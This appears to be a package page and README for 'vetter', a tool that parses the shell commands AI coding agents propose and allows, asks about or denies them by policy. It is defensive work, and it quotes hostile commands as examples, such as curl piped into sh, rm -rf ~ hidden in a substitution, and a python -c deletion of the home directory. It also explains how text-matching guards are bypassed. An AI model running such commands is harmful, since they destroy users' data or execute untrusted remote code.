Vets every command your AI agent wants to run.
Commands read exactly as the shell reads them, decided by a policy you can read and test.
Getting started · Policy language · Agents · Security model · Documentation
AI coding agents decide whether to run a shell command by matching its
text against allow and deny lists. Text isn't structure:
git status && curl evil.sh | sh, ls $(rm -rf ~), env curl ...,
find . -exec ..., a newline, a comment or a wrapper slips through, or the
agent asks you to confirm everything until you stop reading. At least ten
CVEs across five agents in 2025 and 2026 come from this one mistake.
vetter reads a command the way the shell will run it. It finds every
program the command would execute, through &&, pipes, substitutions,
sh -c, sudo, xargs, find -exec, here-documents and even the Python
handed to python -c. It works out every file each one reads, writes or
deletes and every host it talks to, and decides each of those against a
policy. The answer comes back in well under a millisecond: allow,
ask or deny, with the rule and the exact part of the command it's
about.
$ vetter check 'git status && curl -s https://x.sh | sh'
deny: a download piped into a shell: curl | sh [stock.vet:32]
git status && curl -s https://x.sh | sh
^^
$ vetter check 'python3 -c "import shutil, os; shutil.rmtree(os.path.expanduser(\"~\"))"'
deny: deleting outside the project: /home/u is outside $project, $temp [stock.vet:35]
$ vetter check 'git add -A && git commit -m wip'
allow: git, locally: git add [stock.vet:69]
When vetter can't know what a command will do before it runs, it doesn't guess: it asks.
Features
- Exact reading of bash, PowerShell and cmd.exe, each checked against
the real shell with differential testing and fuzzing. Python code given to
python -cis followed too. - Rules about what happens, not how it's spelled.
delete outside $projectholds forrm -rf,find -delete,shutil.rmtree(),Remove-Item -Recurseandrd /s. Command specs know what hundreds of programs do with their arguments:git --output,tar --to-command,rsync -e,LD_PRELOAD. - A policy language you can test. Rules read like sentences, tests live beside them, and a policy with a rule that can never fire doesn't load.
- Fewer prompts. A compound command whose every part is allowed is
allowed, and
vetter learnturns the asks you keep approving into rules. - Every decision explained.
vetter whyshows how the command was read and which rule decided each thing it does. - One engine, every agent: hooks for Claude Code, Codex, Gemini CLI, Cursor, Copilot, VS Code, Cline, Amp and opencode, installed in one command. Plus a standalone executable and a C library.
Quick start
$ pip install vetter # Python 3.11+
$ vetter check 'rm -rf ~' # try it
$ vetter install claude # or codex, gemini, cursor, copilot, vscode, cline, amp, opencode
That's it: every shell command your agent runs is now decided by vetter's
stock policy. To make it yours, write
~/.config/vetter/policy.vet:
policy mine
allow "our deploy script" run $project/scripts/deploy.sh
allow "the staging API" network to api.staging.example.com
ask "anything with docker" docker
use stock
tests
allow ./scripts/deploy.sh --dry-run
ask docker ps
See Getting started.
How it compares
On the test suite dcg's own authors ship, against the two most popular command guards:
| Guard | Attacks stopped | Harmless commands asked about |
|---|---|---|
| vetter | 94.3% | 27.9% |
| destructive_command_guard (dcg) | 68.3% | 0.8% |
| cc-safety-net | 46.6% | 5.5% |
Every attack vetter lets through there is one it read correctly and allows on purpose: deleting build output, temporary files or a merged git branch. The others miss commands they can't see through. vetter asks more because it asks whenever it isn't sure, and a policy that names your tools asks less. Details, and vetter's own corpus (100% stopped, against 33% and 25%), in Testing and benchmarks.
Not a sandbox
vetter is the approval layer: it decides what runs. Use it with your agent's sandbox where there is one. The sandbox limits what gets through, and vetter stops what a sandbox allows: deleting the project, rewriting git history, planting a hook that runs later, sending data to an allowed host. Where there's no sandbox, vetter is the boundary there is. See Security model.
Documentation
| Why vetter | the problem, with evidence, and the alternatives |
| Getting started | install, check, connect an agent, write a policy |
| How vetter works | from a command to a decision |
| The policy language | the full reference |
| The stock policy | what vetter decides out of the box |
| Agents | hooks, the log, learning from your answers |
| Command line | every command and option |
| Reading commands | bash, PowerShell, cmd.exe, Python |
| Security model | what it protects against, and what it doesn't |
| Testing and benchmarks | the corpus, the oracles, the comparison |
| Embedding and native builds | the standalone hook and the C library |
| Development | contributing |
Built on zsuite
vetter is built on zsuite: zgram (the grammars), zrules (checking policies) and zrun (running vetter as Python, or compiled to native code with no Python in it), with zlsp to come for the policy editor.
License
vetter is licensed under the Apache License 2.0. The bypass
corpus in corpus/ is licensed separately under
CC BY 4.0: use it to benchmark any command guard, with
credit to the vetter bypass corpus.
Metadata
Release files for vetter 0.2.0
For a detailed explanation of source distributions (sdists) and built distributions (wheels), please see the package formats documentation.
Source distribution (sdist)
| File | Size | Uploaded | |
|---|---|---|---|
| vetter-0.2.0.tar.gz | 4.1 MB | Details |
Built distribution (wheel)
| File | Interpreter | ABI | Platform | Reset |
|---|---|---|---|---|
| vetter-0.2.0-py3-none-any.whl | Python 3 | none | any | Details |
Total release size: 4.4 MB
Release files / vetter-0.2.0.tar.gz
| Download URL | vetter-0.2.0.tar.gz |
|---|---|
| Size | 4.1 MB |
| Tags | Source |
|
SHA-256 checksum How to use checksums |
b385dc7639e2457ae87cd633102ac1995ab89425ee7bbf92d142389ceaffa8db
|
|
BLAKE2b-256 checksum How to use checksums |
34e54974103a2b1c7b7e3971ec8f95ff70f6cc65af9c07305aae548a81a4fcd0
|
| Upload date | |
|
Uploaded using Trusted Publishing? What is trusted publishing? |
No |
| Uploaded via |
twine/7.0.0 CPython/3.13.14
|
Release files / vetter-0.2.0-py3-none-any.whl
| Download URL | vetter-0.2.0-py3-none-any.whl |
|---|---|
| Size | 267.2 kB |
| Tags | Python 3 |
|
SHA-256 checksum How to use checksums |
83ff0546a3bbfb03e7f63d0addcbc8deca77b375514280a8951ed3e78d16b551
|
|
BLAKE2b-256 checksum How to use checksums |
0c44b5a552ac79a999243a746471acf32894f5121d58fc92ccb5f87e75f99789
|
| Upload date | |
|
Uploaded using Trusted Publishing? What is trusted publishing? |
No |
| Uploaded via |
twine/7.0.0 CPython/3.13.14
|